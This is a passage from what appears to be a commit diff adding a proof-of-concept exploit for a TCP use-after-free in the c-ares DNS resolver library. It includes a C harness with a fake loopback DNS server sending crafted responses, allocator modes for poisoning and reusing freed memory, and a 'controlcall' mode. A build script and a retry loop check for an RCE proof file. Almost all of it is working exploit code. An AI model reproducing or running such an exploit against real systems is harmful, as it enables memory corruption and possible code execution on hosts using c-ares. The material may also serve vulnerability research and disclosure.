memcpy(out + off + 12, query + 12, qlen);
|
||||||
|
return off + dns_len;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *server_thread(void *arg)
|
||||||
|
{
|
||||||
|
server_ctx_t *ctx = (server_ctx_t *)arg;
|
||||||
|
int s = -1;
|
||||||
|
int u = -1;
|
||||||
|
int c = -1;
|
||||||
|
struct sockaddr_in sin;
|
||||||
|
struct sockaddr_in peer;
|
||||||
|
socklen_t slen;
|
||||||
|
socklen_t plen;
|
||||||
|
unsigned char hdr[2];
|
||||||
|
unsigned char query[4096];
|
||||||
|
unsigned char out[8192];
|
||||||
|
unsigned char retry[4096];
|
||||||
|
uint16_t qlen;
|
||||||
|
size_t n1;
|
||||||
|
size_t n2;
|
||||||
|
struct linger linger_opt;
|
||||||
|
|
||||||
|
s = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (s < 0) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
memset(&sin, 0, sizeof(sin));
|
||||||
|
sin.sin_family = AF_INET;
|
||||||
|
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||||
|
sin.sin_port = 0;
|
||||||
|
if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
|
||||||
|
close(s);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (listen(s, 1) != 0) {
|
||||||
|
close(s);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
slen = sizeof(sin);
|
||||||
|
if (getsockname(s, (struct sockaddr *)&sin, &slen) != 0) {
|
||||||
|
close(s);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
ctx->port = ntohs(sin.sin_port);
|
||||||
|
if (ctx->udp_start) {
|
||||||
|
u = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (u < 0) {
|
||||||
|
close(s);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
memset(&sin, 0, sizeof(sin));
|
||||||
|
sin.sin_family = AF_INET;
|
||||||
|
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||||
|
sin.sin_port = htons((uint16_t)ctx->port);
|
||||||
|
if (bind(u, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
|
||||||
|
close(u);
|
||||||
|
close(s);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
write(ctx->ready_fd, "R", 1);
|
||||||
|
|
||||||
|
if (ctx->udp_start) {
|
||||||
|
plen = sizeof(peer);
|
||||||
|
ssize_t got = recvfrom(u, query, sizeof(query), 0,
|
||||||
|
(struct sockaddr *)&peer, &plen);
|
||||||
|
if (got > 0) {
|
||||||
|
n1 = make_dns(out, query, (size_t)got, 0x83, 0, 0);
|
||||||
|
if (n1 != 0) {
|
||||||
|
sendto(u, out, n1, MSG_NOSIGNAL, (struct sockaddr *)&peer, plen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(u);
|
||||||
|
}
|
||||||
|
|
||||||
|
c = accept(s, NULL, NULL);
|
||||||
|
if (c < 0) {
|
||||||
|
close(s);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (read_exact(c, hdr, sizeof(hdr)) != 0) {
|
||||||
|
close(c);
|
||||||
|
close(s);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
qlen = (uint16_t)(((unsigned int)hdr[0] << 8) | hdr[1]);
|
||||||
|
if (qlen > sizeof(query) || read_exact(c, query, qlen) != 0) {
|
||||||
|
close(c);
|
||||||
|
close(s);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
n1 = make_dns(out, query, qlen, 0x81, 1, 1);
|
||||||
|
n2 = make_dns(out + n1, query, qlen, 0x81, 0, 1);
|
||||||
|
if (n1 != 0 && n2 != 0) {
|
||||||
|
send(c, out, n1 + n2, MSG_NOSIGNAL);
|
||||||
|
}
|
||||||
|
if (read_exact(c, hdr, sizeof(hdr)) == 0) {
|
||||||
|
qlen = (uint16_t)(((unsigned int)hdr[0] << 8) | hdr[1]);
|
||||||
|
if (qlen <= sizeof(retry)) {
|
||||||
|
read_exact(c, retry, qlen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
linger_opt.l_onoff = 1;
|
||||||
|
linger_opt.l_linger = 0;
|
||||||
|
setsockopt(c, SOL_SOCKET, SO_LINGER, &linger_opt, sizeof(linger_opt));
|
||||||
|
close(c);
|
||||||
|
close(s);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ai_cb(void *arg, int status, int timeouts,
|
||||||
|
struct ares_addrinfo *res)
|
||||||
|
{
|
||||||
|
int *done = (int *)arg;
|
||||||
|
(void)status;
|
||||||
|
(void)timeouts;
|
||||||
|
if (res != NULL) {
|
||||||
|
ares_freeaddrinfo(res);
|
||||||
|
}
|
||||||
|
*done = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int pipefd[2];
|
||||||
|
pthread_t tid;
|
||||||
|
server_ctx_t ctx;
|
||||||
|
ares_channel_t *channel = NULL;
|
||||||
|
struct ares_options opts;
|
||||||
|
struct ares_addrinfo_hints hints;
|
||||||
|
int optmask = ARES_OPT_FLAGS | ARES_OPT_LOOKUPS;
|
||||||
|
char server[64];
|
||||||
|
int done = 0;
|
||||||
|
int loops = 0;
|
||||||
|
char ch;
|
||||||
|
|
||||||
|
signal(SIGPIPE, SIG_IGN);
|
||||||
|
memset(&ctx, 0, sizeof(ctx));
|
||||||
|
if (argc > 1 && strcmp(argv[1], "udp") == 0) {
|
||||||
|
ctx.udp_start = 1;
|
||||||
|
}
|
||||||
|
if (argc > 1 && strcmp(argv[1], "poison") == 0) {
|
||||||
|
use_poison_allocator = 1;
|
||||||
|
}
|
||||||
|
if (argc > 1 && strcmp(argv[1], "reuse144") == 0) {
|
||||||
|
use_poison_allocator = 1;
|
||||||
|
reuse_144 = 1;
|
||||||
|
}
|
||||||
|
if (argc > 1 && strcmp(argv[1], "controlcall") == 0) {
|
||||||
|
use_poison_allocator = 1;
|
||||||
|
control_call = 1;
|
||||||
|
}
|
||||||
|
if (argc > 2 && strcmp(argv[2], "poison") == 0) {
|
||||||
|
use_poison_allocator = 1;
|
||||||
|
}
|
||||||
|
if (argc > 2 && strcmp(argv[2], "reuse144") == 0) {
|
||||||
|
use_poison_allocator = 1;
|
||||||
|
reuse_144 = 1;
|
||||||
|
}
|
||||||
|
if (argc > 2 && strcmp(argv[2], "controlcall") == 0) {
|
||||||
|
use_poison_allocator = 1;
|
||||||
|
control_call = 1;
|
||||||
|
}
|
||||||
|
load_poison_byte();
|
||||||
|
if (pipe(pipefd) != 0) {
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
ctx.ready_fd = pipefd[1];
|
||||||
|
if (pthread_create(&tid, NULL, server_thread, &ctx) != 0) {
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
if (read(pipefd[0], &ch, 1) != 1) {
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
close(pipefd[0]);
|
||||||
|
close(pipefd[1]);
|
||||||
|
|
||||||
|
if (use_poison_allocator) {
|
||||||
|
if (trace_allocator) {
|
||||||
|
fprintf(stderr, "allocator mode poison=%02x reuse144=%d\n",
|
||||||
|
(unsigned int)poison_byte, reuse_144);
|
||||||
|
}
|
||||||
|
ares_library_init_mem(ARES_LIB_INIT_ALL, tracked_malloc, tracked_free,
|
||||||
|
tracked_realloc);
|
||||||
|
} else {
|
||||||
|
ares_library_init(ARES_LIB_INIT_ALL);
|
||||||
|
}
|
||||||
|
memset(&opts, 0, sizeof(opts));
|
||||||
|
opts.flags = ARES_FLAG_EDNS;
|
||||||
|
if (!ctx.udp_start) {
|
||||||
|
opts.flags |= ARES_FLAG_USEVC;
|
||||||
|
}
|
||||||
|
opts.lookups = (char *)"b";
|
||||||
|
if (ares_init_options(&channel, &opts, optmask) != ARES_SUCCESS ||
|
||||||
|
channel == NULL) {
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
snprintf(server, sizeof(server), "127.0.0.1:%d", ctx.port);
|
||||||
|
if (ares_set_servers_ports_csv(channel, server) != ARES_SUCCESS) {
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
memset(&hints, 0, sizeof(hints));
|
||||||
|
hints.ai_family = AF_INET;
|
||||||
|
ares_getaddrinfo(channel, "example.com", "80", &hints, ai_cb, &done);
|
||||||
|
|
||||||
|
while (!done && loops++ < 100) {
|
||||||
|
fd_set rfds;
|
||||||
|
fd_set wfds;
|
||||||
|
int nfds;
|
||||||
|
struct timeval tv;
|
||||||
|
struct timeval *tvp;
|
||||||
|
FD_ZERO(&rfds);
|
||||||
|
FD_ZERO(&wfds);
|
||||||
|
nfds = ares_fds(channel, &rfds, &wfds);
|
||||||
|
if (nfds == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
tvp = ares_timeout(channel, NULL, &tv);
|
||||||
|
select(nfds, &rfds, &wfds, NULL, tvp);
|
||||||
|
ares_process(channel, &rfds, &wfds);
|
||||||
|
}
|
||||||
|
|
||||||
|
ares_destroy(channel);
|
||||||
|
ares_library_cleanup();
|
||||||
|
pthread_join(tid, NULL);
|
||||||
|
return done ? 0 : 1;
|
||||||
|
}
|
||||||
32
c-ares-tcp-uaf-calc-poc/scripts/build_from_checkout.sh
Executable file
32
c-ares-tcp-uaf-calc-poc/scripts/build_from_checkout.sh
Executable file
@@ -0,0 +1,32 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
if [ "$#" -lt 2 ]; then
|
||||||
|
echo "usage: $0 /path/to/c-ares /path/to/build-dir [output-binary]" >&2
|
||||||
|
exit 2
|
||||||
|
fi
|
||||||
|
|
||||||
|
srcdir=$1
|
||||||
|
builddir=$2
|
||||||
|
out=${3:-cares_tcp_uaf_calc_poc}
|
||||||
|
jobs=${JOBS:-4}
|
||||||
|
root=$(cd "$(dirname "$0")/.." && pwd)
|
||||||
|
|
||||||
|
cmake -S "$srcdir" -B "$builddir" \
|
||||||
|
-DCARES_SHARED=OFF \
|
||||||
|
-DCARES_STATIC=ON \
|
||||||
|
-DCARES_BUILD_TESTS=OFF \
|
||||||
|
-DCARES_BUILD_TOOLS=OFF \
|
||||||
|
-DCMAKE_BUILD_TYPE=Debug
|
||||||
|
|
||||||
|
cmake --build "$builddir" --target c-ares --parallel "$jobs"
|
||||||
|
|
||||||
|
gcc -static -g -O0 -Wall -Wextra \
|
||||||
|
-I"$srcdir/include" \
|
||||||
|
-I"$builddir" \
|
||||||
|
"$root/poc/cares_tcp_uaf_calc_poc.c" \
|
||||||
|
"$builddir/lib/libcares.a" \
|
||||||
|
-pthread \
|
||||||
|
-o "$out"
|
||||||
|
|
||||||
|
file "$out"
|
||||||
20
c-ares-tcp-uaf-calc-poc/scripts/run_until_hit.sh
Executable file
20
c-ares-tcp-uaf-calc-poc/scripts/run_until_hit.sh
Executable file
@@ -0,0 +1,20 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
bin=${1:-./cares_tcp_uaf_calc_poc}
|
||||||
|
tries=${TRIES:-25}
|
||||||
|
|
||||||
|
rm -f /tmp/cares_rce_proof_*
|
||||||
|
|
||||||
|
for i in $(seq 1 "$tries"); do
|
||||||
|
set +e
|
||||||
|
"$bin" controlcall
|
||||||
|
rc=$?
|
||||||
|
set -e
|
||||||
|
echo "run=$i rc=$rc"
|
||||||
|
if [ "$rc" -eq 77 ]; then
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
cat /tmp/cares_rce_proof_latest 2>/dev/null || true
|
||||||
Reference in New Issue
Block a user